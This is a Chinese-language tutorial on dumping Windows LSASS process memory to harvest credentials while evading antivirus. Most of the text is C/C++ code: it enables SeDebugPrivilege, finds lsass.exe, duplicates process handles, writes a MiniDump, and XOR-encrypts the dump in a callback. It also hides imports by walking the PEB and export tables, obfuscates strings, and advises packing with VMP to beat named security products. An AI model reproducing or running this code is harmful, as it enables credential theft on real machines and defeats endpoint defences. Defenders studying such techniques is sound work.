DumpLsass免杀
字数 724 2025-08-24 07:48:23

DumpLsass 免杀技术详解

1. 常规 DumpLsass 流程

常规 DumpLsass 流程主要包括以下几个步骤:

  1. 获取相关 token 权限
  2. 拿到 lsass 进程句柄
  3. 通过 MiniDumpWriteDump API 来 DumpLsass

1.1 基础代码实现

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment (lib, "Dbghelp.lib")

using namespace std;

int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;
    
    // 创建转储文件句柄
    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    // 查找 lsass PID
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }

    // 打开 lsass.exe 进程句柄
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);

    // 创建 minidump
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
    
    if (isDumped) {
        cout << "[+] lsass dumped successfully!" << endl;
    }
    
    return 0;
}

1.2 权限问题

DumpLsass 需要 SeDebugPrivilege 权限,管理员 PowerShell 默认具有此权限,但 cmd 中需要手动提升进程权限。

2. 提升进程权限

BOOL SetDebugPrivilege() {
    HANDLE token = NULL;
    NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);
    
    TOKEN_ELEVATION tokenElevation = {0};
    DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);
    NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);
    
    if (tokenElevation.TokenIsElevated) {
        DWORD tokenPrivsSize = 0;
        NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);
        
        PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];
        NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);
        
        for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++) {
            if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14) {  // SeDebugPrivilege
                tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
                NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
            }
        }
        delete tokenPrivs;
    }
    
    NtClose(token);
    return TRUE;
}

3. 进程遍历

DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";

if (Process32First(snapshot, &processEntry)) {
    while (_wcsicmp(processName, charToLPCWSTR("lsass.exe")) != 0) {
        Process32Next(snapshot, &processEntry);
        processName = processEntry.szExeFile;
        lsassPID = processEntry.th32ProcessID;
    }
    std::wcout << "[+] Got PID: " << lsassPID << std::endl;
}

4. MiniDump 实现

MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

5. 对抗点分析

  1. MiniDumpWriteDump 调用
  2. lsass 内存的读取
  3. dmp 文件的写入
  4. 导出表中的 MiniDumpWriteDump
  5. 获取 lsass 句柄

6. 高级免杀技术

6.1 间接获取 lsass 句柄

const char lasStr[] = {'l','s','a','s','s','.','e','x','e','\0'};
Process32First(hSnapshot, &pe32);
do {
    if (_wcsicmp(pe32.szExeFile, charToLPCWSTR(lasStr)) != 0) {
        continue;
    }
    pid = pe32.th32ProcessID;
    CLIENT_ID clientId = {0};
    clientId.UniqueProcess = (HANDLE)pid;
    clientId.UniqueThread = 0;
    
    OBJECT_ATTRIBUTES objAttr = {0};
    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
    
    NtOpenProcess(&processHandle, PROCESS_DUP_HANDLE, &objAttr, &clientId);
    
    if (!processHandle) {
        printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
        continue;
    }
} while (Process32Next(hSnapshot, &pe32));

6.2 使用 NtQuerySystemInformation 获取句柄信息

typedef enum class _SYSTEM_INFORMATION_CLASS1 {
    SystemBasicInformation,
    SystemProcessorInformation,
    // ... 其他枚举值
    SystemHandleInformation,
    // ... 其他枚举值
} SYSTEM_INFORMATION_CLASS1, *PSYSTEM_INFORMATION_CLASS1;

typedef struct _SYSTEM_HANDLE {
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)hlpGetProcAddress(ntdll, NtQuerySystemInformationStr);
PNtDuplicateObject NtDuplicateObject = (PNtDuplicateObject)hlpGetProcAddress(ntdll, NtDuplicateObjectStr);
PNtQueryObject NtQueryObject = (PNtQueryObject)hlpGetProcAddress(ntdll, NtQueryObjectStr);

6.3 遍历句柄并复制

while ((status = NtQuerySystemInformation(_SYSTEM_INFORMATION_CLASS1::SystemHandleInformation, 
        handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

for (i = 0; i < handleInfo->HandleCount; i++) {
    SYSTEM_HANDLE handle = handleInfo->Handles[i];
    HANDLE dupHandle = NULL;
    POBJECT_TYPE_INFORMATION objectTypeInfo;
    PVOID objectNameInfo;
    UNICODE_STRING objectName;
    
    status = NtDuplicateObject(processHandle, (HANDLE)handle.Handle, 
              GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
    
    if (status != 0) {
        continue;
    }
    
    // 检查句柄类型和进程名
    const wchar_t w_lasStr[] = {'l','s','a','s','s','.','e','x','e','\0'};
    objectNameInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
    status = NtQueryObject(dupHandle, _OBJECT_INFORMATION_CLASS1::ObjectTypeInformation, 
              objectNameInfo, 0x1000, NULL);
    
    if (status != 0) {
        CloseHandle(dupHandle);
        continue;
    }
    
    UNICODE_STRING objectType = *(PUNICODE_STRING)objectNameInfo;
    wchar_t path[MAX_PATH];
    DWORD maxpath = MAX_PATH;
    
    if (wcsstr(objectType.Buffer, L"Process") != NULL) {
        QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
        if (wcsstr(path, w_lasStr) != NULL) {
            // 找到目标句柄
        }
    }
}

6.4 内存转储与加密

typedef BOOL (WINAPI *PMiniDumpWriteDump)(
    IN HANDLE hProcess,
    IN DWORD ProcessId,
    IN HANDLE hFile,
    IN MINIDUMP_TYPE DumpType,
    IN PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam OPTIONAL,
    IN PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam OPTIONAL,
    IN PMINIDUMP_CALLBACK_INFORMATION CallbackParam OPTIONAL
);

const char miniDumpStr[] = {'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','\0'};
const char strDMP[] = {'r','e','s','u','l','t','.','b','i','n','\0'};

PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(
    LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));

HANDLE outFile = NULL;
WCHAR chDmpFile[MAX_PATH] = L"\\??\\C:\\";
wcscat_s(chDmpFile, sizeof(chDmpFile)/sizeof(wchar_t), charToLPCWSTR(strDMP));

UNICODE_STRING uFileName;
RtlInitUnicodeString(&uFileName, chDmpFile);

OBJECT_ATTRIBUTES FileObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
InitializeObjectAttributes(&FileObjectAttributes, &uFileName, 
    OBJ_CASE_INSENSITIVE, NULL, NULL);

ntCreateFile(&outFile, FILE_GENERIC_WRITE, &FileObjectAttributes, 
    &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, 
    FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

MiniDumpWriteDump(dupHandle, NULL, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

6.5 使用回调函数加密转储数据

DWORD bytesWritten = 0;
DWORD bytesRead = 0;
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024*1024*1024);

BOOL CALLBACK minidumpCallback(
    __in PVOID callbackParam,
    __in const PMINIDUMP_CALLBACK_INPUT callbackInput,
    __inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
) {
    LPVOID destination = 0, source = 0;
    DWORD bufferSize = 0;
    
    switch(callbackInput->CallbackType) {
        case IoStartCallback:
            callbackOutput->Status = S_FALSE;
            break;
            
        case IoWriteAllCallback:
            callbackOutput->Status = S_OK;
            source = callbackInput->Io.Buffer;
            destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
            bufferSize = callbackInput->Io.BufferBytes;
            bytesRead += bufferSize;
            RtlCopyMemory(destination, source, bufferSize);
            break;
            
        case IoFinishCallback:
            callbackOutput->Status = S_OK;
            break;
            
        default:
            return true;
    }
    return TRUE;
}

MINIDUMP_CALLBACK_INFORMATION callbackInfo;
SecureZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = minidumpCallback;
callbackInfo.CallbackParam = NULL;

MiniDumpWriteDump(dupHandle, NULL, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);

// 异或加密
for (i = 0; i < bytesRead; i++) {
    ((BYTE*)dumpBuffer)[i] ^= 0x17;
}

BOOL writeSuccess = WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL);

7. 导入表隐藏技术

7.1 动态获取模块和函数

HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName) {
#ifdef _M_IX86
    PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
    PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif

    if (sModuleName == NULL)
        return (HMODULE)(ProcEnvBlk->ImageBaseAddress);

    PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
    LIST_ENTRY* ModuleList = NULL;
    ModuleList = &Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* pStartListEntry = ModuleList->Flink;

    for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
        LDR_DATA_TABLE_ENTRY* pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (_wcsicmp(pEntry->BaseDllName.Buffer, sModuleName) == 0)
            return (HMODULE)pEntry->DllBase;
    }
    return NULL;
}

7.2 动态获取函数地址

FARPROC hlpGetProcAddress(HMODULE hModule, LPCSTR sProcName) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + 
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD pAddressOfFunctions = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfFunctions);
    PDWORD pAddressOfNames = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNames);
    PWORD pAddressOfNameOrdinals = (PWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        LPCSTR pFunctionName = (LPCSTR)((DWORD_PTR)hModule + pAddressOfNames[i]);
        if (strcmp(pFunctionName, sProcName) == 0) {
            return (FARPROC)((DWORD_PTR)hModule + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
        }
    }
    return NULL;
}

8. 其他免杀技巧

  1. 对抗 QVM:添加正常的文件属性,如 icon、version、签名等
  2. 对抗核晶:使用 VMP 等加壳工具
  3. 避免直接调用敏感 API:使用间接方式获取函数地址
  4. 字符串混淆:将敏感字符串拆分为字符数组形式

9. 参考资源

  1. Dumping LSASS Passwords Without Mimikatz
  2. Enumerating Opened Handles From a Process
  3. Undocumented NTInternals
DumpLsass 免杀技术详解 1. 常规 DumpLsass 流程 常规 DumpLsass 流程主要包括以下几个步骤: 获取相关 token 权限 拿到 lsass 进程句柄 通过 MiniDumpWriteDump API 来 DumpLsass 1.1 基础代码实现 1.2 权限问题 DumpLsass 需要 SeDebugPrivilege 权限,管理员 PowerShell 默认具有此权限,但 cmd 中需要手动提升进程权限。 2. 提升进程权限 3. 进程遍历 4. MiniDump 实现 5. 对抗点分析 MiniDumpWriteDump 调用 lsass 内存的读取 dmp 文件的写入 导出表中的 MiniDumpWriteDump 获取 lsass 句柄 6. 高级免杀技术 6.1 间接获取 lsass 句柄 6.2 使用 NtQuerySystemInformation 获取句柄信息 6.3 遍历句柄并复制 6.4 内存转储与加密 6.5 使用回调函数加密转储数据 7. 导入表隐藏技术 7.1 动态获取模块和函数 7.2 动态获取函数地址 8. 其他免杀技巧 对抗 QVM :添加正常的文件属性,如 icon、version、签名等 对抗核晶 :使用 VMP 等加壳工具 避免直接调用敏感 API :使用间接方式获取函数地址 字符串混淆 :将敏感字符串拆分为字符数组形式 9. 参考资源 Dumping LSASS Passwords Without Mimikatz Enumerating Opened Handles From a Process Undocumented NTInternals